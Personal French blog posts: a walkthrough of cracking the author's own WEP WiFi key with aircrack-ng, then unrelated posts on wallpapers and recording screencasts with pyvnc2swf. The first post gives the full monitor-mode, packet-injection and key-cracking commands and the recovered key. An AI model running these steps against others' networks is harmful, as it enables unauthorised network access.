Le blog de Jean David TECHER, un Réunionnais à Saint-Priest/Lyon

AVERTISSEMENT

Le contenu de ce billet n'a rien avoir avec du hacking ou quoique ce soit qui pourrait être pris pour de là provocation! Je publis ce poste uniquement dans le but de tester la solidité de mon PROPRE RESEAU WIFI à titre d'expérience et d'enrichissement personnelle. Mon réseau en Wifi a été activé temporairement dans la matinée du dimanche du 11 mars 2007 en WEP afin de mener à bien cet travail à mon sens pédagogique. Je publis ce billet d'abord pour me rappeler les commandes que j'aurais utilisé ce jour-là pour mes tests afin de me convaincre par moi-même de l'intérêt de passer en WPA. Comme un Saint-Thomas de l'informatique, je ne saurais convaincu quand l'ayant tester par moi-même. Le réseau wifi en question n'a été activé que le 11 mars 2007!

CONTRAINTES

Disposant d'un VAIO VGN-FS315H, le récepteur WIFI incorporé est un Intel Centrino 802.11 b/g. Malheureusement, ce matériel n'est pas adéquate pour le moment, pour utiliser aircrack-ng notamment pour l'injection de paquets avec aireplay-ng. Donc j'ai du investir dans une carte procurée sur ebay pour tester aircrack-ng.

MATERIEL

Pour tester aircrack-ng:

• aircrack-ng il suffit de télécharger les sources pour la version à http://download.aircrack-ng.org/aircrack-ng-0.7.tar.gz . On décompresse, compile et on installe

  wget http://download.aircrack-ng.org/aircrack-ng-0.7.tar.gz
  tar xvzf aircrack-ng-0.7.tar.gz
  cd aircrack-ng-0.7
  make
  make install

• la carte pcmcia pour aircrack TP-LINK TL-WN610G compatible b/g, chipset atheros. Je l'incorporerais à mon SONY VAIO VGN;
  Carte TL-WN610G utilisé pour aircrack
• distribution linux: Ubuntu Dapper qui reconnaît parfaitement cette carte
• la cible
  Carte PCMCIA incorporée à ma freebox V4 pour simuler le réseau wifi!
• Deux portables: l'un qui sera connecté en wifi à mon réseau wifi. J'appellerais celui-là olivia. Un autre utilisé pour aircrack. Je l'appellerai bremko. Vous l'aurez compris olivia servira de station.
  Premier ordinateur olivia: l'ordi utilisé comme STATION pour se connecter à mon réseau WIFI
  
  Second ordinateur bremko: l'ordi utilisé pour aircrack

Interface de gestion de mon FAI

Je me rends sur mon interface de chez Free. Et je clique sur Fontionnalités Wifi de la Freebox. Je vais mettre mon réseau sur le canal 11, mon résau s'appellera davidwifi, je me mets en WEP et je mets mon mot de passe sur 26 caractères. Et ensuite, je redémarre ma freebox. Petite précision, chez Free il n'y pas de filtrage d'adresse mac.

Interface FreeBox - Photo N°1

Interface FreeBox - Photo N°2

Interface FreeBox - Photo N°3

Interface FreeBox - Photo N°4

TRAVAUX

Tous mes tests ont lieu sous Dapper en temps que root. En tant que root, je vais me mettre dans mon home et créer un répertoire tmp. Je ne ferais pas de commentaires sur les commandes utilisées - voir la section "SOURCES" à la fin de ce billet -..

cd
mkdir tmp
cd tmp

airmon-ng

On saisit depuis un terminal:

airmon-ng start ath0 11

Les deux diodes clignotent, c'est bon signe. La carte est en mode monitor! C'est bon signe

Pour airodum-ng:

dans le même terminal, je saisis

airodump-ng --write wep --ivs --channel 11 ath0

Chez moi, airodump-ng a été lancé à 07h17 du matin J'obtiens ensuite l'affichage suivant au bout d'une minute d'attente.

Je vais laisser le terminal d'airodump-ng ouvert pour suivre le nombre de IVs récoltés .

Pour aireplay-ng:

J'ai attendu qu'olivia soit visible dans l'interface avant de commencer à lancer l'injection de paquet (aireplay -3 ....). Elle fut visible lorque j'ai vu son adresse mac apparaître dans la colonne STATION.

L'authentification a été lancé par la commande suivante:

aireplay-ng -1 0 -e davidwifi -a 00:07:CB:52:F3:9B  -b 00:07:CB:52:F3:9B -h 00:40:F4:BA:7E:4D -x 500 ath0

L'authenftiication a été immédiate! J'ai directement obtenu le message "Assocation successful"

Association successful

L'injection de paquets a été ensuite possible grâce à la commande

aireplay -3 -e davidwifi -a 00:07:CB:52:F3:9B  -b 00:07:CB:52:F3:9B -h 00:40:F4:BA:7E:4D -x 500 ath0

Aireplay-ng: injection de paquets

Effectivement, le nombre de paquets IVs récoltés a augmenter! Par exemple au bout de 5 minutes

Airodump au bout de 5 minutes...Le nombre d'IVS commence a augmenté.

Ensuite, j'ai laissé tourner le programme d'injection. Pour donner un idée de son évolution, voici quelques screenshots découpées

Au bout de plus de 400 000 IVs récoltés soit plus de 2h00, j'ai donc décidé de lancer aircrack-ng

Pour aircrack-ng:

Au bout de 400000 IVs récoltés,j'ai donc lancer aircrack-ng. Pour celà j'ai fait comme je sais que ma clé est une clé de 128 bits

aircrack-ng -x -0 -n 128 -f4 -b 00:07:CB:52:F3:9B wep-01.ivs

-----------

J'ai donc ajouté la commande kill $(pidof airdodump-ng) pour tuer le processus de airodump-ng. Ainsi à mon retour, je serais exactement le nombre d'IVS qu'il m'aura fallu pour mon attaque.

Donc pendant ce temps au lieu d'attendre, je suis aller faire une sieste - normal on est dimanche. A mon retour, j'ai eu l'affichage suivant

-----------
-----------

Maintenant, je prends la télécommande de ma Freebox. Je maintiens au moins 3 secondes la touche [?]. Celà a pour effet de m'afficher des informations sur mon réseau. Dans l'onglet WIFI, j'ai alors

Interface d'interrogation de la Freebox sur la télévision pour le WIFI.

BINGO!

Donc pour me connecter sur le réseau, il me suffit de faire dans mon fichier /etc/network/interfaces

auto eth1
iface eth1 inet dhcp
wireless-essid davidwifi
wireless-key 0e:14:a4:53:8e:72:3d:19:f0:24:70:46:ad
wireless-channel 11

CONCLUSION

Testé ces outils est vraiment intéressant, je l'avoue! Il est vrai que la grande tentation se serait d'aller voir ce qui se passe chez le réseau du voisin d'à côté mais là n'est pas mon but, voire même aller pour s'amuser essayer de cracker sa clé! J'y ai songé c'est vrai! La tentation est bien grande! Mais ce serait être hors-là loi. Or je milite pour GNU/Linux et non pas pour aller finir mes jours en prison. D'ailleurs mes voisins sont des gens charmants prêt à rendre service! Alors question de principe oblige, ma tentation s'est vite estompé. De plus, j'ai ce qu'il me faut chez moi comme matériel avec mon FAI pour tester le réseau en WEP.

SOURCES

Ce billet est largement inspiré de

• http://www.tuto-fr.com/tutoriaux/crack-wep/test-tp-link-tl-WN610G.php
• http://www.tuto-fr.com/tutoriaux/tutorial-crack-wep-aircrack.php

Décidemment, j'aurais passé une bonne partie de la soirée à discuter avec les mecs du chan #ubuntu-fr sur irc. J'ai même pas vu le temps passé! 3h00 sans voir le temps qu'il est! On a parlé de tout politique, souci des distrib etc...etc..Intéressants sujets de temps en temps! Le genre de soirée où j'aime bien discuter sans que le moindre des intervenants ne soient trop agressifs ou ait un parti pris! A si toutes les soirées pouvaient être ainsi! Y'avait même un développeur Gentoo

Ceci dit, j'aurais passé au moins 2h00 à rechercher un bon fond d'écran pour mon VAIO. Pas facile avec tous les trucs sexy qu'il y a sur le web! Bon là je suis resté soft! Rechercher une belle brune avec la mer derrière pour faire penser à mes belles plages de l'île de la Réunion et des couleurs qui soeint en harmonie avec la couleur noir et argenté de mon VAIO! La dure tâche à accomplir! Le choix fut rude !

Mon nouveau fond d'écran pour mon VAIO . Mignonne cette petite brune quand même non?

A remarquer de près, la couleur blanche que porte cette ravissante demoiselle se marie très bien à la perfection avec les couleurs de mon ordi! «Candice You roulaize!» Je dois avouer qu'avec moi changer de fond d'écran c'est comme les jeunes filles qui vont passer leur samedi après-midi en ville pour changer de fringues! Il me faut du temps!

A titre d'information, ce wallpaper provient du site http://www.desktopgirls.com. Une fois sur le site, il faut rechercher Candice Michelle - comme écrit sur l'image ci-dessus -.

Bon ce week-end, c'est repos, courses et farniente, farniente!

Ce matin avant d'aller me coucher, j'ai posté le lien concernant la démo. Celui-ci est disponible à http://www.postgis.fr/node/431

Cliquez sur l'image pour lancer la démo

Ah je suis content! J'ai réussi à installer pyvnc2swf et faire ma première vidéo pour PostGIS

Cliquez sur l'image pour lancer la démo

Pré-requis

J'ai suivi pour celà ce lien http://www.proformatique.org/spip.php?article92. Donc c'est parti pour l'installation

apt-get install x11vnc libxaw7-dev

Il faut maintenant installer pyvnc2swf qui fournit recordwin.sh.

Pourquoi recordwin.sh et par vnc2swf directement?

Tout simplement parce pyvnc2swf est beaucoup plus évolué que vnc2swf et qu'il permet d'ajouter une barre de progression. Donc on peut mettre le film sur pause, play, etc.. Chose que ne permet pas apparement vnc2swf.

vnc2swf a pour l'url générale http://www.unixuser.org/~euske/vnc2swf/index.html. Ce dernier se décline en une version en C et une en python. On télécharge pyvnc2swf à http://www.unixuser.org/~euske/vnc2swf/vnc2swf-0.5.0.tar.gz

. C'est un fichier qu'il suffit de décompresse.

Récupérer l'identifiant de la fenêtre à capturer

Je voulais par la suite pouvoir capturer ce qui se passait dans une fenêtre. Donc dans un terminal, j'ai fais

xwininfo -frame
xwininfo: Please select the window about which you
          would like information by clicking the
          mouse in that window.

qui attendais mon clic de souris dans la fenêtre où je voudrais faire mes captures. Après le clic, xwininfo m'a renvoyé

xwininfo: Window id: 0xa18e29 (has no name)

  Absolute upper-left X:  0
  Absolute upper-left Y:  25
  Relative upper-left X:  0
  Relative upper-left Y:  25
  Width: 818
  Height: 463
  Depth: 16
  Visual Class: TrueColor
  Border width: 0
  Class: InputOutput
  Colormap: 0x20 (installed)
  Bit Gravity State: NorthWestGravity
  Window Gravity State: NorthWestGravity
  Backing Store State: NotUseful
  Save Under State: no
  Map State: IsViewable
  Override Redirect State: no
  Corners:  +0+25  -462+25  -462-312  +0-312
  -geometry 818x463+0+25

Ok j'ai mon identifiant 0xa18e29

Serveur et client VNC graphique pour X11

Pour la suite, il faut deux terminaux

• premier terminal (le serveur): il faut lancer x11vnc comme préciser dans le premier lien que je fournis:

  x11vnc -localhost -viewonly -deferupdate 10 -wait 10 -defer 10 -id 0xa18e29

• dans un second terminal (le client): il faut utiliser recordwin.sh auquel par l'option -id, je vais passer l'identifiant de ma fenêtre. Ce qui donne donc depuis le répertoire décompressé de pyvnc2swf

  recordwin.sh -id 0xa18e29 postgis-1_ubuntu_dapper.swf

  Le sleep 5 comme dit dans la doc est important pour avoir le temps de se connecter à la fenêtre (mise en place etc...)

Pour terminer l'enregistrement, un simple combinaison des touches [CTRL]+[C] dans la fenêtre où est lancé recordwind.sh suffit. Ceci aura pour effet dé générer le fichier swf ainsi qu'une page html contenant le fichier swf en question.